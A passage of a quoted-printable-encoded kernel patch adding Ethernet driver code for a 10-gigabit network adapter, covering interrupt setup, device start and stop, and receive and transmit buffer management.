+/* TTI Initialization */=0A= + val64 =3D TTI_DATA1_MEM_TX_TIMER_VAL(0xFFF) |=0A= + TTI_DATA1_MEM_TX_URNG_A(0xA) | TTI_DATA1_MEM_TX_URNG_B(0x10) |=0A= + TTI_DATA1_MEM_TX_URNG_C(0x30) | TTI_DATA1_MEM_TX_TIMER_AC_EN;=0A= + write64(&bar0->tti_data1_mem, val64);=0A= +=0A= + val64 =3D=0A= + TTI_DATA2_MEM_TX_UFC_A(0x10) | TTI_DATA2_MEM_TX_UFC_B(0x20) |=0A= + TTI_DATA2_MEM_TX_UFC_C(0x40) | TTI_DATA2_MEM_TX_UFC_D(0x80);=0A= + write64(&bar0->tti_data2_mem, val64);=0A= +=0A= + val64 =3D TTI_CMD_MEM_WE | TTI_CMD_MEM_STROBE_NEW_CMD;=0A= + write64(&bar0->tti_command_mem, val64);=0A= +/* Wait for the operation to complete */=0A= + time =3D 0;=0A= + while (TRUE) {=0A= + val64 =3D read64(&bar0->tti_command_mem);=0A= + if (!(val64 & TTI_CMD_MEM_STROBE_NEW_CMD)) {=0A= + break;=0A= + }=0A= + if (time > 10) {=0A= + DBG_PRINT(ERR_DBG, "%s: TTI init Failed\n",=0A= + dev->name);=0A= + return -1;=0A= + }=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 20);=0A= + time++;=0A= + }=0A= +=0A= +/* RTI Initialization */=0A= + val64 =3D RTI_DATA1_MEM_RX_TIMER_VAL(0xFFF) |=0A= + RTI_DATA1_MEM_RX_URNG_A(0xA) | RTI_DATA1_MEM_RX_URNG_B(0x10) |=0A= + RTI_DATA1_MEM_RX_URNG_C(0x30) | RTI_DATA1_MEM_RX_TIMER_AC_EN;=0A= + write64(&bar0->rti_data1_mem, val64);=0A= +=0A= + val64 =3D RTI_DATA2_MEM_RX_UFC_A(0x1) | RTI_DATA2_MEM_RX_UFC_B(0x2) |=0A= + RTI_DATA2_MEM_RX_UFC_C(0x40) | RTI_DATA2_MEM_RX_UFC_D(0x80);=0A= + write64(&bar0->rti_data2_mem, val64);=0A= +=0A= + val64 =3D RTI_CMD_MEM_WE | RTI_CMD_MEM_STROBE_NEW_CMD;=0A= + write64(&bar0->rti_command_mem, val64);=0A= +=0A= +/* Wait for the operation to complete */=0A= + time =3D 0;=0A= + while (TRUE) {=0A= + val64 =3D read64(&bar0->rti_command_mem);=0A= + if (!(val64 & TTI_CMD_MEM_STROBE_NEW_CMD)) {=0A= + break;=0A= + }=0A= + if (time > 10) {=0A= + DBG_PRINT(ERR_DBG, "%s: RTI init Failed\n",=0A= + dev->name);=0A= + return -1;=0A= + }=0A= + time++;=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 20);=0A= + }=0A= +=0A= +/* Initializing proper values as Pause threshold into all the 8 Queues =0A= + * on Rx side.=0A= + */=0A= + write64(&bar0->mc_pause_thresh_q0q3, 0xffbbffbbffbbffbbULL);=0A= + write64(&bar0->mc_pause_thresh_q4q7, 0xffbbffbbffbbffbbULL);=0A= +=0A= +/* Disable RMAC PAD STRIPPING */=0A= + add =3D (void *) &bar0->mac_cfg;=0A= + val64 =3D read64(&bar0->mac_cfg);=0A= + val64 &=3D ~(MAC_CFG_RMAC_STRIP_PAD);=0A= + write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= + writel((u32) (val64), add);=0A= + write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= + writel((u32) (val64 >> 32), (add + 4));=0A= + val64 =3D read64(&bar0->mac_cfg);=0A= +=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * device private variable,=0A= + * A mask indicating which Intr block must be modified and,=0A= + * A flag indicating whether to enable or disable the Intrs.=0A= + * Return Value: =0A= + * NONE.=0A= + * Description: =0A= + * This function will either disable or enable the interrupts =0A= + * depending on the flag argument. The mask argument can be used to =0A= + * enable/disable any Intr block. =0A= + */=0A= +static void en_dis_able_NicIntrs(struct s2io_nic *nic, u16 mask, int = flag)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + register u64 val64 =3D 0, temp64 =3D 0;=0A= +=0A= +/* Top level interrupt classification */=0A= +/* PIC Interrupts */=0A= + if ((mask & (TX_PIC_INTR | RX_PIC_INTR))) {=0A= + /* Enable PIC Intrs in the general intr mask register */=0A= + val64 =3D TXPIC_INT_M | PIC_RX_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + write64(&bar0->general_int_mask, temp64);=0A= + /* Disabled all PCIX, Flash, MDIO, IIC and GPIO=0A= + * interrupts for now. =0A= + * TODO */=0A= + write64(&bar0->pic_int_mask, DISABLE_ALL_INTRS);=0A= + /* No MSI Support is available presently, so TTI and=0A= + * RTI interrupts are also disabled.=0A= + */=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable PIC Intrs in the general intr mask register =0A= + */=0A= + write64(&bar0->pic_int_mask, DISABLE_ALL_INTRS);=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + write64(&bar0->general_int_mask, val64);=0A= + }=0A= + }=0A= +=0A= +/* DMA Interrupts */=0A= +/* Enabling/Disabling Tx DMA interrupts */=0A= + if (mask & TX_DMA_INTR) {=0A= + /* Enable TxDMA Intrs in the general intr mask register */=0A= + val64 =3D TXDMA_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + write64(&bar0->general_int_mask, temp64);=0A= + /* Disable all interrupts other than PFC interrupt in =0A= + * DMA level.=0A= + */=0A= + val64 =3D DISABLE_ALL_INTRS & (~TXDMA_PFC_INT_M);=0A= + write64(&bar0->txdma_int_mask, val64);=0A= + /* Enable only the MISC error 1 interrupt in PFC block =0A= + */=0A= + val64 =3D DISABLE_ALL_INTRS & (~PFC_MISC_ERR_1);=0A= + write64(&bar0->pfc_err_mask, val64);=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable TxDMA Intrs in the general intr mask =0A= + * register */=0A= + write64(&bar0->txdma_int_mask, DISABLE_ALL_INTRS);=0A= + write64(&bar0->pfc_err_mask, DISABLE_ALL_INTRS);=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + write64(&bar0->general_int_mask, val64);=0A= + }=0A= + }=0A= +=0A= +/* Enabling/Disabling Rx DMA interrupts */=0A= + if (mask & RX_DMA_INTR) {=0A= + /* Enable RxDMA Intrs in the general intr mask register */=0A= + val64 =3D RXDMA_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + write64(&bar0->general_int_mask, temp64);=0A= + /* All RxDMA block interrupts are disabled for now =0A= + * TODO */=0A= + write64(&bar0->rxdma_int_mask, DISABLE_ALL_INTRS);=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable RxDMA Intrs in the general intr mask =0A= + * register */=0A= + write64(&bar0->rxdma_int_mask, DISABLE_ALL_INTRS);=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + write64(&bar0->general_int_mask, val64);=0A= + }=0A= + }=0A= +=0A= +/* MAC Interrupts */=0A= +/* Enabling/Disabling MAC interrupts */=0A= + if (mask & (TX_MAC_INTR | RX_MAC_INTR)) {=0A= + val64 =3D TXMAC_INT_M | RXMAC_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + write64(&bar0->general_int_mask, temp64);=0A= + /* All MAC block error interrupts are disabled for now =0A= + * except the link status change interrupt.=0A= + * TODO*/=0A= + val64 =3D MAC_INT_STATUS_RMAC_INT;=0A= + temp64 =3D read64(&bar0->mac_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + write64(&bar0->mac_int_mask, temp64);=0A= +=0A= + val64 =3D read64(&bar0->mac_rmac_err_mask);=0A= + val64 &=3D ~((u64) RMAC_LINK_STATE_CHANGE_INT);=0A= + write64(&bar0->mac_rmac_err_mask, val64);=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable MAC Intrs in the general intr mask register =0A= + */=0A= + write64(&bar0->mac_int_mask, DISABLE_ALL_INTRS);=0A= + write64(&bar0->mac_rmac_err_mask,=0A= + DISABLE_ALL_INTRS);=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + write64(&bar0->general_int_mask, val64);=0A= + }=0A= + }=0A= +=0A= +/* XGXS Interrupts */=0A= + if (mask & (TX_XGXS_INTR | RX_XGXS_INTR)) {=0A= + val64 =3D TXXGXS_INT_M | RXXGXS_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + write64(&bar0->general_int_mask, temp64);=0A= + /* All XGXS block error interrupts are disabled for now=0A= + * TODO */=0A= + write64(&bar0->xgxs_int_mask, DISABLE_ALL_INTRS);=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable MC Intrs in the general intr mask register =0A= + */=0A= + write64(&bar0->xgxs_int_mask, DISABLE_ALL_INTRS);=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + write64(&bar0->general_int_mask, val64);=0A= + }=0A= + }=0A= +=0A= +/* Memory Controller(MC) interrupts */=0A= + if (mask & MC_INTR) {=0A= + val64 =3D MC_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + write64(&bar0->general_int_mask, temp64);=0A= + /* All MC block error interrupts are disabled for now=0A= + * TODO */=0A= + write64(&bar0->mc_int_mask, DISABLE_ALL_INTRS);=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable MC Intrs in the general intr mask register=0A= + */=0A= + write64(&bar0->mc_int_mask, DISABLE_ALL_INTRS);=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + write64(&bar0->general_int_mask, val64);=0A= + }=0A= + }=0A= +=0A= +=0A= +/* Tx traffic interrupts */=0A= + if (mask & TX_TRAFFIC_INTR) {=0A= + val64 =3D TXTRAFFIC_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + write64(&bar0->general_int_mask, temp64);=0A= + /* Enable all the Tx side interrupts */=0A= + write64(&bar0->tx_traffic_mask, 0x0); /* '0' Enables =0A= + * all 64 TX =0A= + * interrupt =0A= + * levels.=0A= + */=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable Tx Traffic Intrs in the general intr mask =0A= + * register.=0A= + */=0A= + write64(&bar0->tx_traffic_mask, DISABLE_ALL_INTRS);=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + write64(&bar0->general_int_mask, val64);=0A= + }=0A= + }=0A= +=0A= +/* Rx traffic interrupts */=0A= + if (mask & RX_TRAFFIC_INTR) {=0A= + val64 =3D RXTRAFFIC_INT_M;=0A= + if (flag =3D=3D ENABLE_INTRS) {=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + temp64 &=3D ~((u64) val64);=0A= + write64(&bar0->general_int_mask, temp64);=0A= + write64(&bar0->rx_traffic_mask, 0x0); /* '0' Enables =0A= + * all 8 RX =0A= + * interrupt =0A= + * levels.=0A= + */=0A= + } else if (flag =3D=3D DISABLE_INTRS) {=0A= + /* Disable Rx Traffic Intrs in the general intr mask =0A= + * register.=0A= + */=0A= + write64(&bar0->rx_traffic_mask, DISABLE_ALL_INTRS);=0A= + temp64 =3D read64(&bar0->general_int_mask);=0A= + val64 |=3D temp64;=0A= + write64(&bar0->general_int_mask, val64);=0A= + }=0A= + }=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * val64 - Value read from adapter status register.=0A= + * flag - indicates if the adapter enable bit was ever written once = before.=0A= + * Return Value: =0A= + * void.=0A= + * Description: =0A= + * Returns whether the H/W is ready to go or not. Depending on = whether =0A= + * adapter enable bit was written or not the comparison differs and = the =0A= + * calling function passes the input argument flag to indicate this.=0A= + */=0A= +static int verify_xena_quiescence(u64 val64, int flag)=0A= +{=0A= + int ret =3D FALSE;=0A= + u64 tmp64 =3D ~((u64) val64);=0A= +=0A= + if (!=0A= + (tmp64 &=0A= + (ADAPTER_STATUS_TDMA_READY | ADAPTER_STATUS_RDMA_READY |=0A= + ADAPTER_STATUS_PFC_READY | ADAPTER_STATUS_TMAC_BUF_EMPTY |=0A= + ADAPTER_STATUS_PIC_QUIESCENT | ADAPTER_STATUS_MC_DRAM_READY |=0A= + ADAPTER_STATUS_MC_QUEUES_READY | ADAPTER_STATUS_M_PLL_LOCK |=0A= + ADAPTER_STATUS_P_PLL_LOCK))) {=0A= + if (flag =3D=3D FALSE) {=0A= + if (!(val64 & ADAPTER_STATUS_RMAC_PCC_IDLE) &&=0A= + ((val64 & ADAPTER_STATUS_RC_PRC_QUIESCENT) =3D=3D=0A= + ADAPTER_STATUS_RC_PRC_QUIESCENT)) {=0A= +=0A= + ret =3D TRUE;=0A= +=0A= + }=0A= + } else {=0A= + if (((val64 & ADAPTER_STATUS_RMAC_PCC_IDLE) =3D=3D=0A= + ADAPTER_STATUS_RMAC_PCC_IDLE) &&=0A= + (!(val64 & ADAPTER_STATUS_RC_PRC_QUIESCENT) ||=0A= + ((val64 & ADAPTER_STATUS_RC_PRC_QUIESCENT) =3D=3D=0A= + ADAPTER_STATUS_RC_PRC_QUIESCENT))) {=0A= +=0A= + ret =3D TRUE;=0A= +=0A= + }=0A= + }=0A= + }=0A= +=0A= + return ret;=0A= +}=0A= +=0A= +/* =0A= + * New procedure to clear mac address reading problems on Alpha = platforms=0A= + *=0A= + */=0A= +void FixMacAddress(nic_t * sp)=0A= +{=0A= + int i;=0A= +=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +=0A= + write64(&bar0->gpio_control, 0x0060000000000000ULL);=0A= + udelay(10);=0A= + write64(&bar0->gpio_control, 0x0060600000000000ULL);=0A= + udelay(10);=0A= +=0A= +/* Create start condition */=0A= + write64(&bar0->gpio_control, 0x0040600000000000ULL);=0A= + udelay(10);=0A= + write64(&bar0->gpio_control, 0x0000600000000000ULL);=0A= + udelay(10);=0A= + write64(&bar0->gpio_control, 0x0020600000000000ULL);=0A= + udelay(10);=0A= + write64(&bar0->gpio_control, 0x0060600000000000ULL);=0A= + udelay(10);=0A= +=0A= +/* Scan 9 consecutives ones */=0A= + for (i =3D 0; i < 9; i++) {=0A= + write64(&bar0->gpio_control, 0x0020600000000000ULL);=0A= + udelay(10);=0A= + write64(&bar0->gpio_control, 0x0060600000000000ULL);=0A= + udelay(10);=0A= + }=0A= +=0A= +/* Create stop condition */=0A= + write64(&bar0->gpio_control, 0x0020600000000000ULL);=0A= + udelay(10);=0A= + write64(&bar0->gpio_control, 0x0000600000000000ULL);=0A= + udelay(10);=0A= + write64(&bar0->gpio_control, 0x0040600000000000ULL);=0A= + udelay(10);=0A= + write64(&bar0->gpio_control, 0x0060600000000000ULL);=0A= + udelay(10);=0A= +=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * device private variable.=0A= + * Return Value: =0A= + * SUCCESS on success and -1 on failure.=0A= + * Description: =0A= + * This function actually turns the device on. Before this =0A= + * function is called, all Registers are configured from their reset = states =0A= + * and shared memory is allocated but the NIC is still quiescent. On =0A= + * calling this function, the device interrupts are cleared and the = NIC is=0A= + * literally switched on by writing into the adapter control register.=0A= + */=0A= +static int startNic(struct s2io_nic *nic)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + struct net_device *dev =3D nic->dev;=0A= + register u64 val64 =3D 0;=0A= + u16 interruptible, i;=0A= + u16 subid;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= +/* PRC Initialization and configuration */=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + write64(&bar0->prc_rxd0_n[i],=0A= + (u64) nic->rx_blocks[i][0].block_dma_addr);=0A= + val64 =3D read64(&bar0->prc_ctrl_n[i]);=0A= + val64 |=3D PRC_CTRL_RC_ENABLED;=0A= + write64(&bar0->prc_ctrl_n[i], val64);=0A= + }=0A= +=0A= +/* Enabling MC-RLDRAM */=0A= + val64 =3D read64(&bar0->mc_rldram_mrs);=0A= + val64 |=3D MC_RLDRAM_QUEUE_SIZE_ENABLE | MC_RLDRAM_MRS_ENABLE;=0A= + write64(&bar0->mc_rldram_mrs, val64);=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ / 10);=0A= +=0A= +/* Enabling ECC Protection. */=0A= + val64 =3D read64(&bar0->adapter_control);=0A= + val64 &=3D ~ADAPTER_ECC_EN;=0A= + write64(&bar0->adapter_control, val64);=0A= +=0A= +/* Clearing any possible Link state change interrupts that could have=0A= + * popped up just before Enabling the card.=0A= + */=0A= + val64 =3D read64(&bar0->mac_rmac_err_reg);=0A= + if (val64)=0A= + write64(&bar0->mac_rmac_err_reg, val64);=0A= +=0A= +/* Verify if the device is ready to be enabled, if so enable it. */=0A= + val64 =3D read64(&bar0->adapter_status);=0A= + if (verify_xena_quiescence(val64, nic->device_enabled_once) =3D=3D=0A= + FALSE) {=0A= + DBG_PRINT(ERR_DBG, "%s: device is not ready, ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "Adapter status reads: 0x%llx\n",=0A= + (unsigned long long)val64);=0A= + return FAILURE;=0A= + }=0A= +=0A= +/* Enable select interrupts */=0A= + interruptible =3D TX_TRAFFIC_INTR | RX_TRAFFIC_INTR | TX_MAC_INTR |=0A= + RX_MAC_INTR;=0A= + en_dis_able_NicIntrs(nic, interruptible, ENABLE_INTRS);=0A= +=0A= +/* With some switches, link might be already up at this point.=0A= + * Because of this weird behavior, when we enable laser, =0A= + * we may not get link. We need to handle this. We cannot =0A= + * figure out which switch is misbehaving. So we are forced to =0A= + * make a global change. =0A= + */=0A= +=0A= +/* Enabling Laser. */=0A= + val64 =3D read64(&bar0->adapter_control);=0A= + val64 |=3D ADAPTER_EOI_TX_ON;=0A= + write64(&bar0->adapter_control, val64);=0A= +=0A= + /* SXE-002: Initialize link and activity LED */=0A= + subid =3D nic->pdev->subsystem_device;=0A= + if ((subid & 0xFF) >=3D 0x07) {=0A= + val64 =3D read64(&bar0->gpio_control);=0A= + val64 |=3D 0x0000800000000000ULL;=0A= + write64(&bar0->gpio_control, val64);=0A= + val64 =3D 0x0411040400000000ULL;=0A= + write64((u64 *) ((u8 *) bar0 + 0x2700), val64);=0A= + }=0A= +=0A= +/* =0A= + * Here we are performing soft reset on XGXS to =0A= + * force link down. Since link is already up, we will get=0A= + * link state change interrupt after this reset=0A= + */=0A= +=0A= + write64(&bar0->dtx_control, 0x8007051500000000ULL);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80070515000000E0ULL);=0A= + udelay(50);=0A= + write64(&bar0->dtx_control, 0x80070515001F00E4ULL);=0A= + udelay(50);=0A= +=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * nic - device private variable.=0A= + * Return Value: =0A= + * void.=0A= + * Description: =0A= + * Free all queued Tx buffers.=0A= + */=0A= +void freeTxBuffers(struct s2io_nic *nic)=0A= +{=0A= + struct net_device *dev =3D nic->dev;=0A= + struct sk_buff *skb;=0A= + TxD_t *txdp;=0A= + int i, j;=0A= +#if DEBUG_ON=0A= + int cnt =3D 0;=0A= +#endif=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= + for (i =3D 0; i < config->TxFIFONum; i++) {=0A= + for (j =3D 0; j < config->TxCfg[i].FifoLen - 1; j++) {=0A= + txdp =3D mac_control->txdl_start[i] +=0A= + (config->MaxTxDs * j);=0A= +=0A= + if (!(txdp->Control_1 & TXD_LIST_OWN_XENA)) {=0A= + /* If owned by host, ignore */=0A= + continue;=0A= + }=0A= + skb =3D=0A= + (struct sk_buff *) ((unsigned long) txdp->=0A= + Host_Control);=0A= + if (skb =3D=3D NULL) {=0A= + DBG_PRINT(ERR_DBG, "%s: NULL skb ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "in Tx Int\n");=0A= + return;=0A= + }=0A= +#if DEBUG_ON=0A= + cnt++;=0A= +#endif=0A= + dev_kfree_skb(skb);=0A= + memset(txdp, 0, sizeof(TxD_t));=0A= + }=0A= +#if DEBUG_ON=0A= + DBG_PRINT(INTR_DBG,=0A= + "%s:forcibly freeing %d skbs on FIFO%d\n",=0A= + dev->name, cnt, i);=0A= +#endif=0A= + }=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * nic - device private variable.=0A= + * Return Value: =0A= + * void.=0A= + * Description: =0A= + * This function does exactly the opposite of what the startNic() =0A= + * function does. This function is called to stop =0A= + * the device.=0A= + */=0A= +static void stopNic(struct s2io_nic *nic)=0A= +{=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= + register u64 val64 =3D 0;=0A= + u16 interruptible, i;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= +/* Disable all interrupts */=0A= + interruptible =3D TX_TRAFFIC_INTR | RX_TRAFFIC_INTR | TX_MAC_INTR |=0A= + RX_MAC_INTR;=0A= + en_dis_able_NicIntrs(nic, interruptible, DISABLE_INTRS);=0A= +=0A= +/* Disable PRCs */=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + val64 =3D read64(&bar0->prc_ctrl_n[i]);=0A= + val64 &=3D ~((u64) PRC_CTRL_RC_ENABLED);=0A= + write64(&bar0->prc_ctrl_n[i], val64);=0A= + }=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * device private variable=0A= + * Return Value: =0A= + * SUCCESS on success or an appropriate -ve value on failure.=0A= + * Description: =0A= + * The function allocates Rx side skbs and puts the physical=0A= + * address of these buffers into the RxD buffer pointers, so that the = NIC=0A= + * can DMA the received frame into these locations.=0A= + * The NIC supports 3 receive modes, viz=0A= + * 1. single buffer,=0A= + * 2. three buffer and=0A= + * 3. Five buffer modes.=0A= + * Each mode defines how many fragments the received frame will be = split =0A= + * up into by the NIC. The frame is split into L3 header, L4 Header, =0A= + * L4 payload in three buffer mode and in 5 buffer mode, L4 payload = itself =0A= + * is split into 3 fragments. As of now only single buffer mode is = supported.=0A= + */=0A= +int fill_rx_buffers(struct s2io_nic *nic, int ring_no)=0A= +{=0A= + struct net_device *dev =3D nic->dev;=0A= + struct sk_buff *skb;=0A= + RxD_t *rxdp;=0A= + int off, off1, size, block_no, block_no1;=0A= + int offset, offset1;=0A= + u32 alloc_tab =3D 0;=0A= + u32 alloc_cnt =3D nic->pkt_cnt[ring_no] -=0A= + atomic_read(&nic->rx_bufs_left[ring_no]);=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= + if (frame_len[ring_no]) {=0A= + if (frame_len[ring_no] > dev->mtu)=0A= + dev->mtu =3D frame_len[ring_no];=0A= + size =3D frame_len[ring_no] + HEADER_ETHERNET_II_802_3_SIZE +=0A= + HEADER_802_2_SIZE + HEADER_SNAP_SIZE;=0A= + } else {=0A= + size =3D dev->mtu + HEADER_ETHERNET_II_802_3_SIZE +=0A= + HEADER_802_2_SIZE + HEADER_SNAP_SIZE;=0A= + }=0A= +=0A= + while (alloc_tab < alloc_cnt) {=0A= + block_no =3D mac_control->rx_curr_put_info[ring_no].=0A= + block_index;=0A= + block_no1 =3D mac_control->rx_curr_get_info[ring_no].=0A= + block_index;=0A= + off =3D mac_control->rx_curr_put_info[ring_no].offset;=0A= + off1 =3D mac_control->rx_curr_get_info[ring_no].offset;=0A= + offset =3D block_no * (MAX_RXDS_PER_BLOCK + 1) + off;=0A= + offset1 =3D block_no1 * (MAX_RXDS_PER_BLOCK + 1) + off1;=0A= +=0A= + rxdp =3D nic->rx_blocks[ring_no][block_no].=0A= + block_virt_addr + off;=0A= + if ((offset =3D=3D offset1) && (rxdp->Host_Control)) {=0A= + DBG_PRINT(INTR_DBG, "%s: Get and Put", dev->name);=0A= + DBG_PRINT(INTR_DBG, " info equated\n");=0A= + goto end;=0A= + }=0A= +=0A= + if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= + mac_control->rx_curr_put_info[ring_no].=0A= + block_index++;=0A= + mac_control->rx_curr_put_info[ring_no].=0A= + block_index %=3D nic->block_count[ring_no];=0A= + block_no =3D mac_control->rx_curr_put_info=0A= + [ring_no].block_index;=0A= + off++;=0A= + off %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= + mac_control->rx_curr_put_info[ring_no].offset =3D=0A= + off;=0A= + /*rxdp =3D nic->rx_blocks[ring_no][block_no].=0A= + block_virt_addr + off; */=0A= + rxdp =3D (RxD_t *) ((unsigned long) rxdp->Control_2);=0A= + DBG_PRINT(INTR_DBG, "%s: Next block at: %p\n",=0A= + dev->name, rxdp);=0A= + }=0A= +=0A= + if (rxdp->Control_1 & RXD_OWN_XENA) {=0A= + mac_control->rx_curr_put_info[ring_no].=0A= + offset =3D off;=0A= + goto end;=0A= + }=0A= +=0A= + skb =3D dev_alloc_skb(size + HEADER_ALIGN_LAYER_3);=0A= + if (!skb) {=0A= + DBG_PRINT(ERR_DBG, "%s: Out of ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "memory to allocate SKBs\n");=0A= + return -ENOMEM;=0A= + }=0A= + skb_reserve(skb, HEADER_ALIGN_LAYER_3);=0A= + memset(rxdp, 0, sizeof(RxD_t));=0A= + rxdp->Buffer0_ptr =3D pci_map_single=0A= + (nic->pdev, skb->data, size, PCI_DMA_FROMDEVICE);=0A= + rxdp->Control_2 &=3D (~MASK_BUFFER0_SIZE);=0A= + rxdp->Control_2 |=3D SET_BUFFER0_SIZE(size);=0A= + rxdp->Host_Control =3D (unsigned long) (skb);=0A= + rxdp->Control_1 |=3D RXD_OWN_XENA;=0A= + off++;=0A= + off %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= + mac_control->rx_curr_put_info[ring_no].offset =3D off;=0A= + atomic_inc(&nic->rx_bufs_left[ring_no]);=0A= + alloc_tab++;=0A= + }=0A= +=0A= + end:=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * device private variable.=0A= + * Return Value: =0A= + * NONE.=0A= + * Description: =0A= + * This function will free all Rx buffers allocated by host.=0A= + */=0A= +static void freeRxBuffers(struct s2io_nic *sp)=0A= +{=0A= + struct net_device *dev =3D sp->dev;=0A= + int i, j, blk =3D 0, off, buf_cnt =3D 0;=0A= + RxD_t *rxdp;=0A= + struct sk_buff *skb;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + for (j =3D 0, blk =3D 0; j < config->RxCfg[i].NumRxd; j++) {=0A= + off =3D j % (MAX_RXDS_PER_BLOCK + 1);=0A= + rxdp =3D sp->rx_blocks[i][blk].block_virt_addr + off;=0A= +=0A= + if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= + rxdp =3D=0A= + (RxD_t *) ((unsigned long) rxdp->=0A= + Control_2);=0A= + j++;=0A= + blk++;=0A= + }=0A= +=0A= + skb =3D=0A= + (struct sk_buff *) ((unsigned long) rxdp->=0A= + Host_Control);=0A= + if (skb) {=0A= + pci_unmap_single(sp->pdev, (dma_addr_t)=0A= + rxdp->Buffer0_ptr,=0A= + dev->mtu +=0A= + HEADER_ETHERNET_II_802_3_SIZE=0A= + + HEADER_802_2_SIZE +=0A= + HEADER_SNAP_SIZE,=0A= + PCI_DMA_FROMDEVICE);=0A= + dev_kfree_skb(skb);=0A= + atomic_dec(&sp->rx_bufs_left[i]);=0A= + buf_cnt++;=0A= + }=0A= + memset(rxdp, 0, sizeof(RxD_t));=0A= + }=0A= + mac_control->rx_curr_put_info[i].block_index =3D 0;=0A= + mac_control->rx_curr_get_info[i].block_index =3D 0;=0A= + mac_control->rx_curr_put_info[i].offset =3D 0;=0A= + mac_control->rx_curr_get_info[i].offset =3D 0;=0A= + atomic_set(&sp->rx_bufs_left[i], 0);=0A= + DBG_PRINT(INIT_DBG, "%s:Freed 0x%x Rx Buffers on ring%d\n",=0A= + dev->name, buf_cnt, i);=0A= + }=0A= +}=0A= +=0A= +/*=0A= + * Input Argument: =0A= + * dev - pointer to the device structure.=0A= + * budget - The number of packets that were budgeted to be processed = during=0A= + * one pass through the 'Poll" function.=0A= + * Return value:=0A= + * 0 on success and 1 if there are No Rx packets to be processed.=0A= + * Description:=0A= + * Comes into picture only if NAPI support has been incorporated. It = does=0A= 